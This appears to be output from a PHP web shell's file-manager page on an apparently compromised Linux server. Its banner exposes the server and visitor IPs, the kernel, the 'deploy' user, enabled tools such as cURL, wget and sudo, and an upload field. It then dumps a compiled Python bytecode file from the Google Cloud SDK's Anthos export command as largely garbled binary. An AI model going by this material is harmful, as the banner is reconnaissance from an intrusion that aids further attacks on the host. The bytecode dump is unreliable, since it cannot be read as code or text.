| Server IP : 35.236.43.222 / Your IP : 216.73.216.143 Web Server : Apache System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64 User : deploy ( 1002) PHP Version : 8.1.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /usr/lib/google-cloud-sdk/lib/surface/anthos/__pycache__/ |
Upload File : |
�
��E � �� � d Z ddlmZ ddlmZ ddlmZ ddlmZ ddlmZ ddlm Z ddl
mZ dd lm
Z
dd
lmZ ej ej j ej j � � G d� dej � � � � Zd
S )�2Export current configuration of an Anthos cluster.� )�absolute_import)�division)�unicode_literals)�base)�anthoscli_backend)�flags)�common_args)�log)�
propertiesc �6 � e Zd ZdZddiZed� � � Zd� ZdS )�Exportr �EXAMPLESz�
To export configuration from cluster 'my-cluster' to the local directory
`my-dir` using project 'my-project':
$ {command} my-cluster --project=my-project --output-directory=my-dir
c �@ � t j dd�� � � | � � t j � � � | � � t j � � � | � � t j d�� � � | � � d S )NTz9The cluster name from which to export the configurations.)�
positional�
help_overridezProject ID.)�help_text_to_overwrite)r �GetClusterFlag�AddToParser�GetLocationFlag�GetOutputDirFlagr
�ProjectArgument)�parsers �lib/surface/anthos/export.py�ArgszExport.Args* s� � � ��D�(9�:� :� :� ;F�+�f�:M�:M�:M� ����'�'��/�/�/� ����(�(��0�0�0���,�.� .� .�.9�k�&�.A�.A�.A�.A�.A� c �b � t j � � }|j p't j j j � � � }|j p't j j j � � � }|j
}|j }t j t j j j
� � � d�� � }t j � d� ||� � � � |d|||||j t j ddi�� � |�� � }| � |� � S )N�export)�account� operationz2Starting export of cluster [{}] using project [{}]�GCLOUD_AUTH_PLUGIN�true)�
extra_vars)�command�cluster�project�location�
output_dir�show_exec_error�env�stdin)r �AnthosCliWrapperr&